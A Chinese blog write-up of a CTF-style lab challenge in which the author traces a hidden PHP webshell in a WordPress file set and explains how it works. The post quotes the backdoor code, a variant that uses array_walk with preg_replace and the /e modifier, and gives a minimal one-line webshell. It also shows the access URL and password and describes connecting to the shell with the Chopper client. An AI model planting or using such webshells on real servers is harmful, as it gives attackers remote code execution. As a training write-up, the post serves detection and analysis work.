墨者 - WebShell代码分析溯源(第8题)

这是一道很坑的题目......花了我两天时间才搞完

先上解题思路

下载文件,根据题目提示说注意修改时间

一个个查看,当查看到fields文件时

 大部分时间为2016.10.30,注入木马的文件是隐蔽的不想被人发现的,

 所以应该不会大范围的改动文件,2.12这个文件在10.30这个日期的前面应该不可能,

 最后定位到cass-wp-rest-comment-meta-style.php,打开确定是木马文件

 或者直接d盾扫描

直接扫出来(真香)

有如下代码:

$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');

这是一句话木马的变种

这里解释一下:这个后门可以在php5.3下使用,array_walk()函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。我们url需要传一个参数e=preg_replace

关于preg_replace,是php的一个函数,preg_replace() 正则替换,与Javascript 正则替换不同,PHP preg_replace() 默认就是替换所有符号匹配条件的元素。而函数中的 /e 这个修饰符的意思就是让 正则替换之后将 replacement 参数当作 PHP 代码。该用法常在 PHP webshell 中出现,参考:http://www.codetc.com/article-241-1.html

preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit] ) 

所以我们最终的木马构成应该是类似与这种形式 

<?php
preg_replace("/.*/e",$_POST["pass"],"."); 
?>

正则负责对传进来的语句根据规则进行过滤,.* 就是单个字符匹配任意次,即贪婪匹配 ,一般趋向于最大长度匹配。

/e模式是php独有的字符串内容当代码执行,参考链接:https://www.daixiaorui.com/read/252.html

所以要传的url为:/www/fields/class-wp-rest-comment-meta-style.php?e=preg_replace ,密码为pass

接下来菜刀无惧连接(坑点所在!)

这与网上大部分人的解题思路一样,可是博主的菜刀就是连不上去.....

2016版菜连不上....

换一把,2013版菜刀也连不上.....

后来又重启环境,都不行

换一种方法,用pass的内容执行命令

心中狂喜, 去找key的文件

查看key文件

居然为空???有大佬知道原因可以解释一下,百思不得其解

卡了很久,最后上网下载换了一把2011版菜刀

成功了....

总结

   1.没系统学过php代码,接触稍微高级复杂一点的函数就有点出力,找个机会系统补一下php

   2.被种马后,没有菜刀链接不上的主机,如果有,那就换一把菜刀。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值